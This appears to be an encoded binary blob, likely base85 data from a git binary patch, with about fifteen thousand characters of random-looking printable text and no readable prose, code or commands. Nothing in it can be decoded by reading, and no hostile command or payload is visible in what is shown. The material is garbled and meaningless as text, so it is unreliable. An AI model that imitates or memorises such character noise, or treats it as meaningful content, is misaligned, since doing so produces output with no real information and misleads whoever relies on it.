zKK(c&$@YTWyhTa2W-GM%4Xb5aNTk0`c9LnGiDSmZ}=`TF5SINue)kRTlB@r z_La|Lc0Q7c^eXXvur)IJ!ZSEUne1u|I_dvt->u6NcN`DdSMPC|5&z_z_qm+*G=|On zr$?~RpuRID1H}xYQbuL5K=^g(^+`o7zQ;ESvH43c`YeCt9J_9g;0H^%S5+n>C^eMx z`29j%+V6iFZh1K8#F6)1XLbUf_8qM_)AO+6P5{Pe-)eySyMbOSW0rX zF}K-q`hh@O>!a2Yq1HNwF>LYP1nl>}gn&}B^yM&Z zR2;zym>LMuQOSQ|if4fpK0a00)MsXH`(oqS{ zMnb3xmR^r;Q)71vR)HsnbvyZI#VnzL^ZtIf?Im*9#C7Kv=P)|!mMGHlL#s{~ay!Rg zmyI*8=stRu{lx-+yVj%xeJajDZ;Wma3l z;GWG+6aVY$H{a*qWBs0L`9q;5te~Se(o}4T&p0WO^mK(KjJ4A18eDFua{WK8*^ExX zxf^+K=jB6sLP@IR{;fSqdV5|hESv-OT6g}HK=v288yaAEwjR24dA1-LyL;q4+~iq$ zti9hYpY|%Gd|*LE@3Iv$W?-xCZ1C$D6|YxP)03w1$>7F=eGi)VRKGaSFDs+z1uRmr z%56UUByq#|4^xHqFAfU5KO8h3zgtPqM?uhfS1?yCVZ(T3+AG*S@L*vaZ^SygfyJtr zf1>hxKF8*t z1kaF%W_6*pe@#J`e{R))i*?QDE?V?_P{^L{?%bzyjn1WP+@HZ5!k=g?42vvoSm%Yj zJ+Pp;t7bG@8HcS1ZM+hHr*K)Ws);|A3Fds-1EosA%=VU@Rm0We!mC9 zUO^1eFCQA2_MxKxf`_BW6#ns{5KoeCk@>qI3{q6Vi_CvhqVjvo{x{s^>HmPk+j$ge z|GT5NiAg=`ql|3+k7Cmr8Ws|$fzd`dPE3(j87JAml76`m@nQYNO{eE+NKVhwv|!OM z7fW6))U>dpf9jK{?ba+bz)$LHNghiy3l#C?W?GU>cQxY~_%jPFV(6h}C~h-di&#^k qY0qZBrUx;ZA(2#QR?}$HB-H4VPJYKk@=NBrj{QW+kf6$$(>gww1>gww1 ze*I?7zhcYzAA0SjZyC7#RcBpaGXI_^%_)s9FDaG&)>kS$c-aj*wv{gX{@!Ej{iUma zv90a!sRLs#p3+~MvF-Fb+jnlguB~_coqqvi9ku_~*LrW;%t=@Oq78UID&zC1zScc$ z8>+v%wp=>&gKZ^HN?$CMI(FWxy>#%mw^c5fvhcQj%D-vr99u4RlpB|}R<^H74rwcO z3{5CEJKIX_)o5<1)V*-0a^o;mD>rKRyAVQpmb8}^b(TtFN~KDF$Vz@X>e#U5ge0GWf4E_%pzhkl}9`hKDow zpELMV8T>(umz%xlR!6iLjhCAPfUD7t0#66rYv7fDlRkqS2c+M?R{|a|@V@|0H}E+0 ze};kQ0iG%FXr>t7siydY)y&}kv3Oz#|F#5!|I^~-=1geNX}U5Cu z0jxb4O|uDIqFK^-)V8FAMjM<}2F2iivgPIG8Ias%G&vKn)#NO|R+F;^`tVm0EEFdJ}slN*-LilTz@C!>Q zH?Kzf5T(BLzCf{SoMPqXwSet_TnE^?)=vPdYpL={@f7MATN$g`|J*ig3EvWl|cP0Vzf2*kQj9k8ksW73{hZc60(D0&s|nZaL|!9SY8f1Jk44Mf9}f7_u$@@ah2|?dd8QV422Ow zM|ZRnOA*!`r7|H}#e&uN6EANooffSDR2d(wXGw+kqh?Sj@%cdbt>Y<(SCXsB z1zpju0M4kEN^KK6#!0uT(QY6`>-h(3Qg^fgf97>XFTuy6?>;!S>r80f#>qF-iAjR> zr~3ih*Hl+Kq`DY78Kwd$)2af4fdV~aJK@N*?5HZ-`}`{Cz(Y`{QGq_7i>>y44>q!7 zXI*qd(t>jHC`^x#R4q5T2nVEHpN3f*chS!tMUU719%%eV3`e}ITsp14w!Q%;?w&hi z{g+W7%_i-kg$@Q+js2J@V z5cVKpKM=ahjd3*LSs-*oufpGQV>}2$>uU3c_YZ1_hywzGh&T|0@#RLsD$$jw-DzY@ zR2gfA4+^S?jDrJ$$aonD6Uq(Nh%SPNE+b+R2x~6p;Hk-2+kmV$jPiCQhS_y zl9uDlZosD9y^TZhH$vjqJ+a)NoahwP7^i}pKZTj%hfyQi2##<79(M!KF~;~rxrvpb zJ=z3LnMCDAg4yLMS7Hu z3FUL?=?@SR-;i;z&Fhibe@LvTzpiStPOU6Q=7~QZD@#pZsU0-qB!H zaBB1lfe~NYBPA2Gfdp((;C4bG6 z30g9uo~n|Rn}n6VP;&g`=y3;f{NY!kkH$@gIH*g3hhB0FaN`6z0a$-b3G(D$dvq)q z>ZQ`;((;vRHw-CA?a^`g8y(L-31(jRqTUfK>=lBWREAFg?`R60i1HV%5J#*%$!TO2 zDjZv{P!|3I}-O_4(FC0ZDS~pBacu8 zA3haCW5S{aqKF!#8sJ9uKFFT{`S5>E(daaaJ{^C0*MA;G0ks;%EaSS~mq{(+x3EXU zC|UDnsYG2xtK#~-+4@(HIS>NQfB=L6R_^$(x`%ayVH7J!>#`{WiI@qypYHx$FHEb| zdkG?V+uUmHsP{!@vDK;Ls}l!%Iy=T)6<^K1P?hoHdN)rT*YS?m^dG+TQB|w+#i-SD zD1?aFu{KdJEK99jdIpmJUp6-V+WY^?#xtjyzMM@Hu0FGk>x;`nv7sK_SJq;2f`c)p zYf`oo#2`s`gf7XFu>qx=_&SV>Wa-t5e}=(}&H-^;qGg{fD(j412bSnu@+sThmQ6=f zJXE#JdZfnqzhSMEoII;S{3A#r5n;2}h$0_S^qnNG5R zogBcY>Evz&o&09+4#}H>7K<80M+%}hLS?Cf|Md<3@9Os^|4RY=|3&@jSRcQE4ot}| zKkB6j0|j218|!jAhKEbfqT^oJtVV?K+h>Lx?$!6S8|raIJM%8xKy#9sVLYD0n4f5$ z=%1IQl0B}eBPR|lHHia3pL~v(*)TSaERUs$5lA=`$V{XMmLA4Z=rWNBG~QAW!gTf` z;OfXW5#dOE0QIM$zUIlAC&)kzo|%dz8j*AH^eqrtydZQ&Z$;Vg+wf;XmnKMsY9VSF zwRC%@BeCd>nUKMF^uWTl$yi!2H7>ZE^P^O?%9omDDJMhjI(18SDd&C~}V#UYGP#L}yESO7hQY4yBV}P=5 zHGcJ7pmzFnV&qYo&=Fk@ImU$(W?d6?L3#`ko#(SS;2PVzc;~@*T(xVsg>vq>M{%_) zz@jt2Y`zCqkL!JbHBZb`?bMZd1p`LCQ&(mj$wH+LHPnOM9Ya_h)M%v*2cI-MRhO7Zo9DDfoNXGa7RM{ivmR0>1IWBo+$CNPc@=pgU zdRJ@m?17H!IHuRPmdx%?1iS&bo)#csFAcD7jSU#Kp{PB2Kgw$7EFLpsux)y^I*cWz zd#AsW#5EjRTou zQME27HJu&R=q6x}Rxd5@?C49=){{0%XdOAllf33&dS1-~pS9~RPZC~);=QV5VtXT+ z_ZMhBa|F%*Zxm1Pw7h4@*b>eo<)0b%LxK(t4-#!Z zj#_IzMcO5I%YjDY7Es1dX={7}pA)8(8@J-~hPl0t{>c=*&(Uv7(fb`8!i^kkb#ItE z;0pf76@cFOG%ypr^_kt95bHbQ>$sxqg|a~3#%F*xK8rsKp}0LHo58H$bChBZ$!^Xr zMojFY&*M)zH>H3w7Q~rimDjnbi6sZC;`aH*zG7zEO0fLycHdmfrIDL|=LahEp{ORb8zQhkB;7-!-Qo`|UM^?EngOE~Ok)Z=~ z$}An>xd~55&H62??tzeq1&-Yco}0j?X+POY75*>$1ntwYp5IYkl%G5-e)1RZCr;n2 zpCskd&KRay80TvD;PxGjuZRJf7uvCeau~<%2y>)+UPtfd?vBRS051DsS$L|^J-`;y zU+@UKR1<%}UdODm@IAP|o2)S77{4KP_(FP7vYoimL~)}l=tla$>8;{XqJ<3o*U?H? zq+D+YSM-f^QS?pVwbk-~%evXWi@fYx;OoE%t!O8Wd|M=SLKm|}7iGu9<_AK{XIbDk@dQ7kMO{_`4LLr1WxAq@m>(42Lh9U?JrpC^o7&pI5@tL z_!;0WHxcx;TIcY6AaoBdu5E}9L3z1}D6d7M@plZ>O|1Gjg)W7Ra2x%7HX`S~Iz+9p zgY|^=K+|b^j2|2dHaZhqwym!^qR#cCh3OW=*OTnZia)8 zAoM3r=u#P`7bCTG=+ONA>GF$)RIlFXr%s%qG(Lj1=jsy?eQ>Z)OZo!dKH-Wsw(c3) ze*VuOqPrtr!G8ao!Y3#qgUCqE0cw1-RarE!=V>U9&Sr(dIpIl1Fp7GF5j_AVb1Ly8 zdnz%ZYY5}Hd+W4CnUf*5F!D)`ILOhEr>%qsIY?pTpG!>ju_6}!QRK1Io(vH-0_WiN z&M(jkqGDMxnYoy@?a_lEo%ay_L=WT78QsV)x~t;{ckAf93a4kR?+@&8dgch>;n}XV z?HW|?lEdxJ-p#Em7EgQmrJ&f2|MEjRqF(|ZU!5?xp|k6%P?TQT!2>TR9D1z+v(61C zeO$D*b<9pv+jehNc3e2hSUE8-V64vHaUdB}f~KYUvPekXzzvQK-JmvEkF~OQU4l?B z{0Q{6XIq7_;#XkMSYgh#s(MXln{^|59=_v}?b8R0$SXz}c9xp+K!X39Q5R7wq2~e_ z8jO{rgu{MtFzl^&ES~;+1MY;l0e6(tfIGS2fY04mn1i9o%upxm1&{g^tX&Nm^^EA% zh#6QecZCJynw2?a%MQDbDMOoTl^5w6Nzpoz^^L*9YExdA+==7#T<3XQPA|1Ea3RH8 zJH7B^8@+x2`GGxFef&RqD8*!Igm{FMcofHEsc}q#)-i*4G`4gT489;6k6PC+pPtYS ztrv~lu+G9nj*}NVPZ1To6Rzf&-HY;+;ablN8&M4+Nqaovkanq{?BQ?pYxE+FFz}+O zFRabH7bP!;Fmpr7d#86Jc+qo(4GUbJBbl4{tfg8z5Hiv9TiRKWZ<9ShOR@VSG` z!Hi|i0=&Y^z;e?K{tKJmuPB#Jh3t8dojQRoScsft7nd9*6_=csg>k7Ddv(40f!Ur5;pz5HQ0U3`;M|tN=GB|7;hhwBYjmhw};ok-=@FH81 zYvQm>6J@=_*42qsdLzmfs&mNEumQQtlq+)MJ2j4scttL_A*Wjj>{Y1qe|<#`W}^kM z*DMW*1&~_hEO2ajcr7h31s167DtGCum6IvxSI!2%LqD-=7mHlr2hln=8HzXuZU1ntVrhaA2$wcQIP(I4<9 zuVV9;V6A@@)~LOt{&##d9wYPP_*0g$j_8jh{D}m)T_`sPb>D%pU`rD1qCbPf7#AsR zX|Wg=v7tSB0wqH$YYT>-1YqsBzQ~O5%e1%F7D^@SCYef!UZwQ4>~51I?3F+uaZ1ep zZ9N8}RnAN6$uxm9gx_%fQXLjF1^GUPw;H(ibcP{kMlCMiK9HSbdz+4W%UBP&DQ_ z^VAkeCF}Wxl@ebo^n9c&IxMqN?f!SeQX54^VpeLeMtW@N{maDr;g=eqhW`mivoWAh zqklP1biz2DuY;`RA`24QqdUPhzV*N^^O9#MaByv{I;_x=TCaiT)%pxHqtZ%PWWKLRsR5UFA&MLzbP^eK_!HM`ElqTi|Q+HRvvhXZ*(`jWp!&5Ar=#?-?IBExj zxflu0K{qx9$(`hj*-b#>E#Mn|4u4F$yA(EzR}y)G%k@Y-!yF!5Z+Ct6@L-qSYROJi zMb|FAq_}9=Fkb(%@(afZr{bA@rIRbU1>@7!?CFLS!vMIp@m3tKcR$bZ#sD@i2f<{k zpl7@UcFv{OSgV{&$*OQL=m?#`=H9)JqnGa%W|G1Y^j@ypvfw437nT&Z9$Y_R-w|Y5 zk%5}9#q*k?b>N1M>DYwW0oxw~7H@IBx2zRys3v!?#N>^t^Peos3E80kr1(NQDv*?5_+*9UK!0asg zJZu5N4vz3y5;~$U^P@AmQ;TQXr6c;H5^%Rg*OKT9B#dTznjSAa$hdSxw7t>rP=L{` z8T_scetQPL1Nbmjvfx(BYvBjE^cU~McH>nO(=i-!bVqp0Pe{J=<3Uknu+4cDBrj|= z_Lzm^FmCg)6}B!dn%>5iF*n>=QP?h?wq(L9<1;qgrFE3oU)bi2|r2)J(VBd%b5{ubcSB`0$-d#fbPM;h`u;u zbNxZ+(;Ll&rsd{B!1}7VX^OqjrkMAPE#ZKfPp)9k51~SB;(9z+!J{VDQ-{OL+TD!` z{;a(%UD9W-skfflb9~#B)}Qyp&Qdxkwa=RhSW^0q__s8Mm~KkBi7?Twh3xU*+K%CA z;IvNI3@2*2=>AWtyJ$2py z(8m3!HE-eD^o{OlI!H5?_r!mOV)35crPHdlCGtMqyoKkE8R{uFv4LtI!V^%qIGX2(=eVZbtm2OF<$;okiQeuStjYnWc{e<#}s@ZoA2pSbgF(#(~qit^y){Se)Q|dfPPHZj~V(g zQ$J?uM@>KK`Y~HS=IF=v`mqB)lJ1_liq8Aq7`RcR2BQq)J>2e|`ATo-#{&IWs2_v+ zF{B@h^kcDp?5H10^kb=hEYpwW`msVkRu0d?OziI2NzqmMv06XY=*L?9Sf?L5>&GtT z;n}FTbqa>jfN(SmVv+-#Lx!q=+Y{^+5K*{$>wu>wGd+2hfQVh)TW1J}H~qV}B2j`g z0g;PX5G#}gvA6*ogZJFF_6djp)V;M|K+K%(tu+Cq<+`WN7BG?K<_IipASPPD2xk_= ze77LH*n(I!0ZPl;3n(q)s0&nS?hpZ`iI)o~O<;FuB^-v`jD<0`Ex5^pn+23Mjuueb zKz0FM>D}Q1N^?gDD9s%upfq=^2VW(i2z#Y~^Ev)oj}cg;9Vwtln=ar2GRzlHhVkv5 z;bH-$IfPE=gAmxgbvFT}<@Fxi;6Wr1;1wknAQA(XE-ezWfY=>cDh|vnh{FwA54(Fy z#pc|C*cDq48z2iV_uxAOl$PIVsF?p-FZCSTJcs}e5yFgz2v!=xH9#>HjvWDteX#ff z6pzOq1t1ob?yWfL0w}h;L_jgsWde$Q-i@>Y90I?`ldtmNdj%9FS^|oFuJGWy1QdNP z7f_l*nh&|6+5rMe%UJS3l|kBDKs20mZ{5ej-CJMk!F@frp9l9BQ1n5*3u&Scj=C&( zpa-#gu+)P+_%Z=S;XME*#z4mjSv>3v0i_>j3OGb#o+_ZUe1U+{@*4z{j&2cf5qVGa z;0d1L6ajI}-@WyC0XbgD*4KLGS3C07lRfwv51u5TsCJfsqS{sgMYZz;6xDQQ3wXXz zMay#p6!&;N!DLu8ex2tyS3vQlrhwAi*`DEz0!nk(yjT;zO+XR+CILmln>`i#U+_w6 z7kP%{Edom$R|+U&aJ8qt&r`4W)Efj8xB9Yx;>2GOP*nSjfYSZXdhl}|{JemPw0x_; zBJE28inKdDc$a`8_;vwB@E1IIhX=nXpvZl{fFk!60Y&a71QcPn1*7ySA&cPu@!+Qg z6o37sfFk$<0*bXi>cNi)xFbF6!vZcLc#{V|B%tVXqk!`y{(ewkQRrp?MTw7j@Z$nX z%hw3Fl!AXQpt#k~1eE4}>Upmfa2a{O>UqB@p!Dcl8h=HhuL)TUbdLwWE}#hhhJe!C zj|CLLcYEr$1r%ZT3Mj(9*BXC?<9D9iB{5$5{FqP$d|W`8Re$v0pFG2#J@|wN zfA4w!AfUANq-8+-{i}t$xBkU*{6j$Tuzz}nr#-`?p5eEi;WwV)Zvw7hpP%v!e-}`! z_7i}Jzv4^3^vn-?<_A6XApynkzwitX2q@D2<*A)wKSh zB_ZPk%z|YBWlFRQC{tpr2Rj55pBN*cC^1ez31QuyI$l6g0=rw=1h!0!ztRRWage1A zB;Wu=FgB+EMKCtK0L7TVEeMeS#jSXLV3u6$dH_muJO(kH!v+eVw1&MGKxr+(&db8s zbpe!?CkrToc@ANez_tLOcq7tp3&JHWh>lxc7!;t47ZxdiGRzPTP!<8W7QjRt8f<{2 zcihIBHlQFt(RiwWqA_-fpvuBGO@>k0hy+|oXFE+mkvr_c*z=xFP&bOh9XqkgqSosV z+iA`!faPW%N~3wQ6|Z}64#8Ee`wy$Pt!n*U{#G|`0K9qQJnW>CjdKCtxN#7F@7uT& z{&sC5ykgTi`1`REB^YmSn$Z%#_XE-w;!&#&Z3|5B9 zU}dP+weH(IEn&bhWehk5WMnZQr@a9=zYWNlY(UOg19Em6kW8z{{q{g><9f)UjAZ@_tPzBr@?I|h{ zZtMjx+S}mRht&?|fBGnTAIDZ(P#YHx39H7B`DTgNCf6p0LqgijpxJoLcyokSZYqED zQr7^+YkRE29m80}yQ6)D-U|W!(S8o*I|vx90g$5uvefB?)Rl$Q;|i%)G7rcLmT8x3 zZXEqSN0m9^sneqaotpJemGGdyp$0n0k@1pJ;OPmw9FM1+)YXYsqk|oL{W&;5{gJj( zDYP`XqL+c`yhHFOdbwj4V&hN}4@(o{+Cf7)Q6)lo%;Nsac=PNP|7Iv~k{c-iA8ogR34RxqSCpcJD zJ<;LS=p+XZM6U_plL2?sCP%O3r=Q^h=``QM5<3hf6SYr~YA+80)2XC1BK(a`6Yz9` zF~Qzw7$5pwWF65N4zBGGo#_yM;a~T_C0DhY$2XF*9oZ!0=Qx6$vh4Ce^g2hcM&~+M zyWezpdJeN@e4n>H@!sh5o;ymm0_jvK?0#o$EB{k_u%n%IY;;ThkCw3Copr3{CI3fD zXa?ya6L-b~c$N!;0E>t{$sCeuI5H4~Iz0q3)Uget^=esFT*dE!&nf3^y zy-RI-#N%lcuk8sw-#534?c4TN12)|%H;IIr6OUJUNrJ!BOCoLstqBDYfuQTGO2p&C ztsvZS6vF9V5^*c3kCNOMU%yq%LR$1TfW4Pg@a5oh@%5nnAl(qX-4(|dP@JY$WUpTU zPr;X31`8pp!0m7<6&05eVBAfv{Z>2&)-%MUb+Tmy!}6>+Me5t_Z@dD?(+giV-V}&8`WRv3@-eNM|e; z1r&|EDzE|EYtm(bNP1aNT@qOr9D}r4nqdM!dKp2y}!AX7{Q|@;Q|5}hu zSgmyAmkSo-B9^WfK$2A0WvP#r<)+|orTuihAZ~-@x}c%r#gPkYxk)~};G``Qf#Pn( zSeJkhzlSa8l0k;}M&BZF+v3iE-HJg3lH6KHJY4Gp{~s@ixD~XE7lajo7$mtRgLwQ^ zuae;3^^%BNNxPEwA^$o<8#_rZ zH;-na#!eD!>?CYsCt({q35T&$%2KhDl=zi?IEdTWDcsRoX492%LF^oti=E?&V`uA_ z)2C?$pcym;R>qlFNhBRBwQUWRgo`t1mejCdIv2DVGz;LcL+MbNG!JD3&8#ck`B=%~ zO1FtzM8bGOJPehBzm?|FP)Xd*{KEj-cE-CEBhlSNm|T+)KQ5rLl1LaUiO26{3mPf~ zztOiy+_s3hU|TFViG->Xk3X{=Uh+4Rgzyb7iMW-tDU?Jc43)&=pL>-A|GO7N+zQ%E z-p)y`(ajS2=aQfnBZFn8H)ms|cz8M!e+AfVsAO>%Dv1|_N>)*iO*B@LkdKwZHrdBY z;_)gftD%y3L8uhAAQLAJ&s&fQm5hV~iOIx?s79Jw61TY}VV7GH$>)}&#;>Jj8aAbh z&BPVSrItb-Ga0$%lV_wd@gpG2WZp*+)XY1e9+{?QGH)`*mv~)>7l&|`^lJ$3Yf80i zSq+|tlz}*7_~*`Kw)@bT>1>yZ*=(1vjo1oH#GYUy_Jolm_Jo3n-CdcG3)mA7u(@xO zd~ZS!u_xGw&4%$qAsVrXxQI1HgfChuH(x~{(gP9lm7A|5w}x;M zYzPOOxERg?8^Z~QF-?TQJz1{w@1raMu zbTKRpVH(LPwldK~aw6$St{Pm>y7lbTK{3e~GY#EDZ0IJ82{f1v-C{)>QMb!SZW+F7_cQa)UiAab;Juo9qZ`GYNR8ck95L?qYZoJKsN^COKX{8LDZhlR7rk zDUu6yLardv?Ru`;MIU{x33_`=sxTd5P0&M5Yl9xC=?5L8#E1FjiPsCC3$Vl{nD=V)(x&FkZ%3Jlxun_%KsbHWNlJWySA}@r@KqH0Ug;AF#k#SiHaRhK zO4H_3lNyzKS08!Hh?-#6EA4TEU#8Le=QF zw$?p(9j4lP_`Kc~s``oIE?TU6M8Y=XP*^gK$;>!flM=H?Y(c%sWIGb6^R&si3}bSz zC7c{27?W*+!FDQ>O@cwhB^X5P0~Sp%TJKNhm_s!dmYc{uZB{{ooxp_c#*na0DhO-e z^-xX9YCDEgnxy#0-sZ$@Rw3+(rWF;HBetj%rVLz5E0y9cq7;S6h~^h;pi(jU1(9@q zA-W{`v_*cYq&}CK=>}meVoP1RakX;*kk>l$yM??PxNR0PCFpEo z5b55OsnPq`mnpSLeF%-$0FJJ8)hkm>4nbMSA=cXm7sU0u7&M0vytCqx6yi3AAlw&S zCqmZ)POMTr`P7Kzl^)Y55j5%&7vkX-Q}BM@C~@292EewRsp-*8%uNeTmB?6`YFZ?M z7Tp0L@pzCeXg394>02ajTYL#%(_*YPE_2f1m>{Q;E+kfts{8#`^&xTRd)x8zABZS_#`OWYh6sLs>_Y#_4DS?ujC_)=eP-4}iXMb6KhN z@i$LQ^dTc_gx*KI++Q~Smv9hJyk&?sy6VG>7xW4NLfp~n-lu}~-k%W3H z=Z?bnX5U@n7=)FXL13>!C5Y#h5UwA2C4l1_thRZZlc7KflH+fAC5S_boia)+136TJ zcwPzNy4Na!IY2`EbFT#P0wsj4r^gLEaVW7Wqr`HMLnVmkl@KmkA~7?Qgm^xsYj_}D zpoFj;=anE1C01vYcn8R#62!~RcjB*^6C{XMN$Tme)Vtr>rrabRZ}nOcFPIa;#-Cp? zbAklIvt0rbDkWjybp1M!?0G`sqJ`>LyUbw#F zdzg?Af7o}CxXiJ1SQfTm9uSA&;RLC$%#MUg5YHnOLKGldwg3(Hk==E-b)C;C3@pzEUsZSCw7=2;m@4lJQXG7W1 zm&Q5z{*FZt*lvhS{9}1I=)`f)AAilDlTd$%gPyu|K_OvRiRbMtT;KA8PCPzVI;Qp~ zq5fbl_zB;&-rmGv?==~FV_V}6KnSZsEs5L2?Ewg3cK|{Jnd|=OQ7ZK&J^n7++|3Da z*DgfDlw7VWWZolq=IyDoUT&;Z8Qq}CMr(f&3!kxju7Em}ruLfiYjUJdCrF8(^jZ>^ zO<673F`Sg7*KjuD+O+q`*?u@s`#6p|&QVLX$>DZ{%<*%+HRAO*lPz_5Tx70W7PJ=k zOoJge%8@hs)*HQF+EMre4mL(=9dJqi;A4E!exoab_Sk14+tfNYIk+$SQ0uZwsycx_ z?8wna0M=fiYxQ%`QJ?;N)G=hYj5oWIygk@vZC3O#$I?GNvlX&qK zo+b8JO=`W_4$+A4x(J5tW2}Jd^S{>W_I~R+%BJp-Q~C1FSXYw zNiH{AEYzn4B-s5uVY|O4Z1?wswcEPCm$KAD15)Cf{CE(z+k4?Qmu9LeW(&JlO>Y2$ z{U3^c1DErEg4;9I{Pvy=RH|lsPb9s)S6$4d86vv9#~e&$y)3aWiV(Kjd&2POb@b@# zIFofB|89`&R<<|4WoB`u*KA;kB-nVm>mnqCduGAq7bGu&Wy($BcHj9Pz_y{j5lvQZ zlCRQdS|ox7-In=1yv7&*m;U=q<`-sV6Iz|FTNo0 z_YOtaS?OGlHPtsSmJuKxMo-OWgsa={@QBAfRj91_jMO?ao#zP;zLN_~mpReZ=o11{ z&#+nI`DTS{qHmUXe1LCOYGs-g9)6{(X_Y@tML%BdBJ<^<0pqNF)DnPx?4y>sisg=2g>0YVUCvkF?7hWbUXgm@vJ%qGl5qe*T{1{b zKXD-?zRhbvy!fdGOYD^(sr6OX(zTsUq@K7)o0{qDjxy7HK;0uvwK0_(=}d=|_))JQ z@!s$`3<;`n-_J5Zibc$RT8%6DnESvh(~r5SnSIPn*sezk%X-vr*Q5TC*Q5T_dSsWQ z{@fvSeF|3#cXNaw=H;dTN&_6kwC$EG>~79 zD6leM)*~Y6^+?;kKxQA|`i?wp{z+z}cW1=5>k--PdbBrSyBOxk(-JBm! z&z&E$c4fL*C5Rv*yYpk>{`?qukPz@Xo(;*wZAd0;50Li(Y;~HEUkq7XnPD0wf=26h zK_MP5VjH?L3BDY7V%7l?Y@;s)Y#W+6%3?^q%1qND5w!RT+amFB^%Z%Z|Juh*~yFYpNzST1e;V#ci+%j{rWYAFlD zO6-zR;vkSiC5Y#h5UwCIARfQeDUmcuC{RN9@I3=o3F1&<*NhSegB&VBJgl=<}lcV&V5m!9Q^$o)_`t=QA z%3j}4V)pumV;x1M;_Dk)v&a~!5!UM)WUlRQ4tt2GS@ik_aeIA(PNrq*?&5Unf2X3z zxO+g|LhlX8nNuEe#-H(iM7;QFC`;@qkJS2>p9O3>)QWhyc>(@1#l&~z%I{rTFK1~r zeSk_*{Clqkaa9B9W@^=BNiV--*9fh>gx{WQkZN?BgAv%U<}teRn&_uOI&ubc(6Dbv z#)@yq{}YmtH5l@{h0JbclL6@}lL3EJ{syq={uo&v%fqZdWJKv>aaK?xYCb?bANz%C zJD(2_kNXD@kaYc#TBoL#;iM@{uOySM!^B}9#Q)Ul17ArEBXJW;Pb8?ZG@zbPNIfM( zP1HY+&ybb++Cu893#lg;QeRU@J;_s#r^fbJoNzjnk`lj$#?d8;xcDAibRkcp*2}Py zT-#u#D9zCueOd~{G@s!_uRKQf&t|B4*!;PG3Q!07^F_ql9kI5$HaaCibj1ub9g!!{n>;zaJ<;n8*FxHBT`^K!HshX5dHeW@=0At-zf=$jHJvDSkr9$;^Ofy6s zQxfY><=m0vct_t4;#qeT+AgLauYMu!$QsY*j*cg%dUg(z6JvEi)*Tst^MfVSW7DHW zT6~=ErSL3IkCxDOHNBJyr~AQ@LNi!NlOaCeFsb#=C|F05g0{K5)Ms;^q#`uQ@%6rK;^ZH}`k`0pEbcz=-jB>zs-ga)`6uym^E~`DhlwQE zM2~PL(IY8-(yK(gIMHK?CVI%9h#)`KOpl1o^w@GX853=ojQLwD?1DVCIG=!dYC*m* zDI;FLf&P@bqmr<)_E{4%;-NQQB9;-ZX+AL{9@l0d{AglEyna2Ur{32Pw!_G#sTpz1 zy+d4_yj;hhiib)N&nqEZL3T(yKE*3Ryg&(I3-UwaP~uQkg88#P$)LN1qc85KdEDz! zWc)LrzOImZZXvaqrrLz<9LB$N#>NKX8`&$(*oYToY$RiQp!XQ4Uu}Z`T7klP zt$=XYKjQT#S_^O4?xe^34Fgi$4Fj!ylehq3+%Rx({zidbIUwIiR}Na&-7+=V2ocfE zUe56xX^cng=xebPV+OzlhZr9Ad(aF z;pJ{p-qAYk*3_djy0lHj2xn3;lH%zzoyQUvk4>dwq`Fj$(;=MTI`E|0%qTHmn@L){ zzzdg}nMFrvHZ_t8L1rX{cF~ceDV@`AgkUqLNzJS-XLqyRRnl(jvQMU793;DWkF-fR z-j8e>F^9^6+vS8UgcFWM)Dk0S@)gE=tm;^a;V+z-HGX7KdvQ@%krAn6Rm(Ou zNC>?|*CJu-@@o`5qv7uC9 z4W)#`ktJTZmC;*UEOs$fo;P2>bK#K zYtZn=J+mZ`i2X&tx^!32W&8NqQ z>mm!>7^(yvL&A0pg~^Yhxss$q$g+`!uvPg?YF!jLxiJ%}9Wx>_W;rXeBwnRf8asTsnpC;nIY;@Nn-s0PSI1t@h3Un>NO{x-98G< zu9g?QknJODJm2=w@u)B8DxV>G)e$z}Zt2qu##!rZg!6t+s`z~{%P>47$9MToOXZBu z3(YQYQo$~8?iNEVLAYOdqMe3R_!I4_O zVy%s`@<|i>Co=Kh=bKZqP_HSZURy}Lu8{hZG}SI!b+n0 z>0zxUU+6zo66#IqN~1hQax(n)4-2Fzc+mJ!5E;IeEERKKJgii(j?!aF3UB`e{my;y zFy$3IL?XFn7a1aI0ey%>+&)C2?}ZUvd{L7uY*6hiAl0XQ-fQDEHCcWbILT9dqQDaS zxQK9k0Bh+ykVdpUY`1ND0Tro9mdeHU{dqE|A4pTJ$5UL&Nb2w;ryZV@IP!fG4&(45 zM7}3B`AA#(K@^K}9`A^u$2(&2@VjCi5*>I)tl!HtU|Xqm^Ow3p-xr3g?>nOP{iD8= z@_ko6itl?K%(M}{fLnO7zOTgW160R4O6QAxUu$L`ppu#zR(*gmRR4HT6cNh|FV?b*?Qld z{)^B^vtNWpSoJ$mTGg_X9Bl6!l0Fcf40>f2RyMi+KC3Xn-Xc8K{5JDFh5H9owfEl< zYUN(rEL=DQEMF)yt8qHvSOnPnhHSVp%iK34;_e#~k^6?d?rU|v0+RhU9Tu0HpCQvZ zkXUXeq}b_7*j_v&Y%d-XR(mw1l9Z+H#F7%<L?n{Fh^V^gMMT0Wf8n{>dMAZgfBqKYp_vkqY_C{YlxH_1~h?kozuhh*=J|c61E9AuECuv>1J1F?U z9l$S=Hi_G7ava<2zE{SZ``&){3gKtL#>3dwbzhlmZq1P^-2M`;zX9>5c5?WviZyi@ zFP6rMhgqcVeue8E7{T0DBOX7)F6c=t@%jZ6K4)0J7XMNwEk3LcKHdJ34^}>r=6ne_ z%pvIKKn|54o>xM+#`!Hc@%U&8S0#u;2^{yP_u#^JhgX6)lsGA)#OFZ{l^~v1LbxV* zC5Xr0@=AQ3n*(c#h4dJ;gz(Lu?JPkYO1vhcge=nxK8})R<0xS@kj7Ch(>O}l#!-bOj?T7m zboR(`bartZot=xLvx7J~JBXvRZ5(C8mDwha5^-^qh{RF<^<;N~B+oDIB4ECrjC|$h z?Xtnsh)RkLsDy1mC2RvKVKs~fR4GdZR8rz2{b&)l0ads)pw3Y#TX+ssnG@d8mW5=_ z$N_cEC;^oXROXm~N+canRTmAYgy}^|eg$R`MpFYS5gSkm!;^8DBNb2$8IOn!Sp%ve zpG$(P(BG`C**jhczYB!{t>ctI@w0?1(mBA$;x z!WG0~;_-*+TN(z5+W-{CV&My7F>#Drl!-uhfE+48JgAr=c?5Q~XJ30&JqDe-=g%}K^B1ob2% zpyDt&q-G*C84ruUN_8|ulaR_*usCS4!V>$em~i}4*3t+~+(u}s!3cfdw|s;q%|>X# zYBr6~TBZ@2u#M0PON8FRM(7}ZDv3jhS7ns=G{~V6#PdoBR}dP>~z4`r!(xOZck zoLM2LLA=WMlz8z1!4muMS8DCYS{vmEoVZ;e*gbvVgd0AJd_eLi!a68>JG?O9>$5|$ 